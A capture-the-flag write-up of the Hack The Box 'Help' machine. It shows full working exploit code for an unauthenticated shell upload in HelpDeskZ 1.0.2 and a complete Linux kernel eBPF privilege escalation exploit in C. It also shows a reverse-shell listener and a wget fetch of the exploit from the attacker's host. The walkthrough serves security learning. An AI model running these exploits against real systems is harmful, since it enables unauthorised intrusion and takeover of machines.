Hack The Box - Help


Overview

The Help machine on Hack The Box (created by cymtrick) is a retired 20 point Linux machine that is fairly straightforward. There is a file upload vulnerability in a web app called “HelpDeskZ” that doesn’t require authentication. Once a shell has been obtained, privesc is a simple Linux kernel exploit. Let’s check out our Nmap scan!


Nmap Scan

root@kali:~/HTB-HELP# nmap -sC -sV -A -Pn 10.10.10.121

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-05 16:49 EST
Nmap scan report for 10.10.10.121
Host is up (0.076s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|\_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|\_http-server-header: Apache/2.4.18 (Ubuntu)
|\_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http Node.js Express framework
|\_http-title: Site doesn't have a title (application/json; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=3/5%OT=22%CT=1%CU=38970%PV=Y%DS=2%DC=T%G=Y%TM=5C7EEF0E
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=106%TI=Z%CI=I%II=I%TS=8)SEQ(
OS:SP=102%GCD=1%ISR=106%TI=Z%CI=I%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 46.01 ms 10.10.14.1
2 46.32 ms 10.10.10.121

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.08 seconds

I notice port 80 running an Apache2 server and port 3000 running Node.js Express Framework right off the bat – typically I try to leave SSH alone towards the beginning if I can. Since I already see the web server up and running, I’ll go ahead and add help.htb to my /etc/hosts file to make life easier. Then, I’ll check out the default web page at http://10.10.10.121/. At least now if there’s no direct IP access we should still be able to view the web page at help.htb.


HTTP Enumeration

I went ahead and ran a gobuster scan to enumerate potential web directories immediately after discovering the default Apache web page.

# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 35 -u http://10.10.10.121/

=====================================================
Gobuster v2.0.0              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.121/
[+] Threads      : 50
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
=====================================================
2019/01/23 08:34:06 Starting gobuster
=====================================================
http://10.10.10.121/support (Status: 301)
http://10.10.10.121/javascript (Status: 301)
=====================================================
2019/01/23 08:39:48 Finished
=====================================================

Immediately, /support stands out to me. I checked /javascript as well, but didn’t have permission to access it.

Moving along to http://10.10.10.121/support/, I get a page that looks like this:

Hack The Box - Help Homepage

Interesting… 🤔

Tom Hanks - Thinking

Let’s do a bit of exploring!


I managed to locate a readme file at http://10.10.10.121/support/readme.html which displayed the HelpDesk version is HelpDeskZ Version: 1.0.2 from 1st June 2015.


2015 is quite a ways back… as far as technology goes, that is! Let’s see if there’s a CVE for it:

HelpDeskZ - Version 1.0.2 Exploit

Bingo!

Homer Simpson - Aha!

A basic “Google” (DuckDuckGo 😛) search will display the CVE immediately! Alternatively, searchsploit can be used, but everybody likes screenshots, so that’s what you’re getting instead.


Script Modification & Getting User

Having a look at the CVE, this is what we find:

'''
#
# Updated Exploit Provided by Drew Griess
#
# Exploit Title HelpDeskZ = v1.0.2 - Unauthenticated Shell Upload
# Google Dork intextHelp Desk Software by HelpDeskZ
# Date 2016-08-26
# Exploit Author Lars Morgenroth - @krankoPwnz
# Vendor Homepage httpwww.helpdeskz.com
# Software Link httpsgithub.comevolutionscriptHelpDeskZ-1.0archivemaster.zip
# Version = v1.0.2
# Tested on
# CVE

HelpDeskZ = v1.0.2 suffers from an unauthenticated shell upload vulnerability.

The software in the default configuration allows upload for .php-Files ( !! ). I think the developers thought it was no risk, because the filenames get obfuscated when they are uploaded. However, there is a weakness in the rename function of the uploaded file

controllers httpsgithub.comevolutionscriptHelpDeskZ-1.0tree006662bb856e126a38f2bb76df44a2e4e3d37350controllerssubmit_ticket_controller.php - Line 141
$filename = md5($_FILES['attachment']['name'].time())...$ext;

So by guessing the time the file was uploaded, we can get RCE.

Steps to reproduce

httplocalhosthelpdeskzv=submit_ticket&action=displayForm

Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.

Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded

exploit.py httplocalhosthelpdeskz phpshell.php
'''
import hashlib
import time
import sys
import requests
import datetime

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv)  3
    print Usage {} [baseUrl] [nameOfUploadedFile].format(sys.argv[0])
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]


r = requests.get(helpdeskzBaseUrl)

#Gets the current time of the server to prevent timezone errors - DoctorEww
currentTime = int((datetime.datetime.strptime(r.headers['date'], %a, %d %b %Y %H%M%S %Z) - datetime.datetime(1970,1,1)).total_seconds())

for x in range(0, 300)
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200
        print found!
        print url
        sys.exit(0)

print Sorry, I did not find anything

'''python
# Exploit Title: HelpDeskZ <= v1.0.2 - Unauthenticated Shell Upload
# Google Dork: intext:"Help Desk Software by HelpDeskZ"
# Date: 2016-08-26
# Exploit Author: Lars Morgenroth - @krankoPwnz
# Vendor Homepage: http://www.helpdeskz.com/
# Software Link: https://github.com/evolutionscript/HelpDeskZ-1.0/archive/master.zip
# Version: <= v1.0.2
# Tested on:
# CVE :

HelpDeskZ <= v1.0.2 suffers from an unauthenticated shell upload vulnerability.

The software in the default configuration allows upload for .php-Files ( ?!?! ). I think the developers thought it was no risk, because the filenames get "obfuscated" when they are uploaded. However, there is a weakness in the rename function of the uploaded file:

/controllers <https://github.com/evolutionscript/HelpDeskZ-1.0/tree/006662bb856e126a38f2bb76df44a2e4e3d37350/controllers>/*submit_ticket_controller.php - Line 141*
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;

So by guessing the time the file was uploaded, we can get RCE.

Steps to reproduce:

http://localhost/helpdeskz/?v=submit_ticket&action=displayForm

Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.

Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:

exploit.py http://localhost/helpdeskz/ phpshell.php

import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)

print "Sorry, I did not find anything"
'''

To replicate, I simply uploaded a PHP reverse shell (I am using php-reverse-shell from pentestmonkey) named phpshell.php and then ran the script to ensure it was uploaded successfully.

Hack The Box - Help: Submit Shell


Now, initially I couldn’t get a shell back with this, and I couldn’t figure out why. Then, I noticed the for loop here:

for x in range(0, 300)
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200
        print found!
        print url
        sys.exit(0)

I modified the range portion of the script to account for any disparities between the server’s timezone and my own. I also noticed that the url of the shell is hashed with md5, so I adjusted the script to print the md5 hash at this step.

for x in range(-200, 1000):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+md5hash+'.php'
    print md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)

I then outputted the md5 hashes generated from the script to a new file called farbs_shell.txt and ran gobuster against the /support/uploads/tickets URL path with farbs_shell.txt as the wordlist.

root@kali:~/HTB-HELP# gobuster dir -u http://10.10.10.121/support/uploads/tickets -w farbs_shell.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.121/support/uploads/tickets
[+] Threads:        10
[+] Wordlist:       farbs_shell.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/08/31 12:50:23 Starting gobuster
===============================================================
[ERROR] 2019/08/31 12:50:38 [!] Get http://10.10.10.121/support/uploads/tickets/3fa87d26e5826de72385f15c8528037e.php: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
===============================================================
2019/08/31 12:50:38 Finished
===============================================================

Doing so returned a shell immediately:

root@kali:~/HTB-HELP# nc -lnvp 9001
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.121.
Ncat: Connection from 10.10.10.121:53304.
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 09:46:33 up 27 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
/bin/sh: 0: can't access tty; job control turned off
$

This box is running python version 2.7.12, so I am able to easily upgrade my shell by importing pty like so:

python -c 'import pty;pty.spawn("/bin/bash");'

And…

$ python -c 'import pty;pty.spawn("/bin/bash");'
help@help:/$ id
id
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
help@help:/$

Nice! We can change directories to /home/help and grab user.txt real quick:

help@help:/home/help$ cd /home/help
cd /home/help
help@help:/home/help$ cat user.txt
cat user.txt
bb8a7b36bdce...


System Enumeration & Root

This box is about as straightforward as it gets when it comes to getting root. I start by checking the kernel version of the machine:

help@help:/home/help$ cat /proc/version
Linux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018

So, it appears to be running Linux version 4.4.0-116-generic, which has a kernel CVE readily available for us to use. Let’s check it out with searchsploit:

Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation     | exploits/linux/local/44298.c

Looks interesting… Here’s the source code:

/*
 * Ubuntu 16.04.4 kernel priv esc
 *
 * all credits to @bleidl
 * - vnik
 */

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog = 	"\xb4\x09\x00\x00\xff\xff\xff\xff"
		"\x55\x09\x02\x00\xff\xff\xff\xff"
		"\xb7\x00\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x18\x19\x00\x00\x03\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x00\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x06\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x01\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x07\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x02\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x08\x00\x00\x00\x00\x00\x00"
		"\xbf\x02\x00\x00\x00\x00\x00\x00"
		"\xb7\x00\x00\x00\x00\x00\x00\x00"
		"\x55\x06\x03\x00\x00\x00\x00\x00"
		"\x79\x73\x00\x00\x00\x00\x00\x00"
		"\x7b\x32\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x55\x06\x02\x00\x01\x00\x00\x00"
		"\x7b\xa2\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x7b\x87\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
		  const struct bpf_insn *insns, int prog_len,
		  const char *license, int kern_version) {
	union bpf_attr attr = {
		.prog_type = prog_type,
		.insns = (__u64)insns,
		.insn_cnt = prog_len / sizeof(struct bpf_insn),
		.license = (__u64)license,
		.log_buf = (__u64)bpf_log_buf,
		.log_size = LOG_BUF_SIZE,
		.log_level = 1,
	};

	attr.kern_version = kern_version;

	bpf_log_buf[0] = 0;

	return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
		   int max_entries) {
	union bpf_attr attr = {
		.map_type = map_type,
		.key_size = key_size,
		.value_size = value_size,
		.max_entries = max_entries
	};

	return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (__u64)&key,
		.value = (__u64)&value,
		.flags = 0,
	};

	return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (__u64)key,
		.value = (__u64)value,
	};

	return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
	fprintf(stderr, "error: %s\n", err);
	exit(-1);
}

static void prep(void) {
	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
	if (mapfd < 0)
		__exit(strerror(errno));

	progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
			(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

	if (progfd < 0)
		__exit(strerror(errno));

	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
		__exit(strerror(errno));

	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
		__exit(strerror(errno));
}

static void writemsg(void) {
	char buffer[64];

	ssize_t n = write(sockets[0], buffer, sizeof(buffer));

	if (n < 0) {
		perror("write");
		return;
	}
	if (n != sizeof(buffer))
		fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
	bpf_update_elem(0, (a)); \
	bpf_update_elem(1, (b)); \
	bpf_update_elem(2, (c)); \
	writemsg();

static uint64_t get_value(int key) {
	uint64_t value;

	if (bpf_lookup_elem(&key, &value))
		__exit(strerror(errno));

	return value;
}

static uint64_t __get_fp(void) {
	__update_elem(1, 0, 0);

	return get_value(2);
}

static uint64_t __read(uint64_t addr) {
	__update_elem(0, addr, 0);

	return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
	__update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
	return addr & ~(0x4000 - 1);
}

static void pwn(void) {
	uint64_t fp, sp, task_struct, credptr, uidptr;

	fp = __get_fp();
	if (fp < PHYS_OFFSET)
		__exit("bogus fp");

	sp = get_sp(fp);
	if (sp < PHYS_OFFSET)
		__exit("bogus sp");

	task_struct = __read(sp);

	if (task_struct < PHYS_OFFSET)
		__exit("bogus task ptr");

	printf("task_struct = %lx\n", task_struct);

	credptr = __read(task_struct + CRED_OFFSET); // cred

	if (credptr < PHYS_OFFSET)
		__exit("bogus cred ptr");

	uidptr = credptr + UID_OFFSET; // uid
	if (uidptr < PHYS_OFFSET)
		__exit("bogus uid ptr");

	printf("uidptr = %lx\n", uidptr);
	__write(uidptr, 0); // set both uid and gid to 0

	if (getuid() == 0) {
		printf("spawning root shell\n");
		system("/bin/bash");
		exit(0);
	}

	__exit("not vulnerable?");
}

int main(int argc, char **argv) {
	prep();
	pwn();

	return 0;
}

Returning to the box, I wanted to make sure I would be able to transfer the file to myself. Unfortunately, curl is not installed, but wget is! I hosted the exploit.c file from the CVE with a SimpleHTTPServer via python and then grabbed the file on the Help machine with wget. It should look something like this:

root@kali:~/HTB-HELP/www# ls
exploit.c
root@kali:~/HTB-HELP/www# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Now that my SimpleHTTPServer is up and running, I can grab the file:

help@help:/home/help$ wget -O exploit.c http://10.10.14.34:8000/exploit.c
wget -O exploit.c http://10.10.14.34:8000/exploit.c
--2019-08-31 10:05:57--  http://10.10.14.34:8000/exploit.c
Connecting to 10.10.14.34:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6021 (5.9K) [text/plain]
Saving to: 'exploit.c'

exploit.c           100%[===================>]   5.88K  --.-KB/s    in 0.002s

2019-08-31 10:05:57 (3.42 MB/s) - 'exploit.c' saved [6021/6021]

Finally, I can compile the exploit with gcc and then run it from the /tmp directory to get root!

help@help:/tmp$ gcc exploit.c -o farbs-hacked-help
gcc exploit.c -o farbs-hacked-help
help@help:/tmp$ chmod +x farbs-hacked-help
chmod +x farbs-hacked-help
help@help:/tmp$ ./farbs-hacked-help
./farbs-hacked-help
task_struct = ffff880038ad4600
uidptr = ffff88003645b804
spawning root shell
root@help:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)

Now we can go grab root.txt to complete the box!

root@help:/tmp# cd /root
cd /root
root@help:/root# cat root.txt
cat root.txt
b7fe6082dcdf...

Thanks for reading!

Hack The Box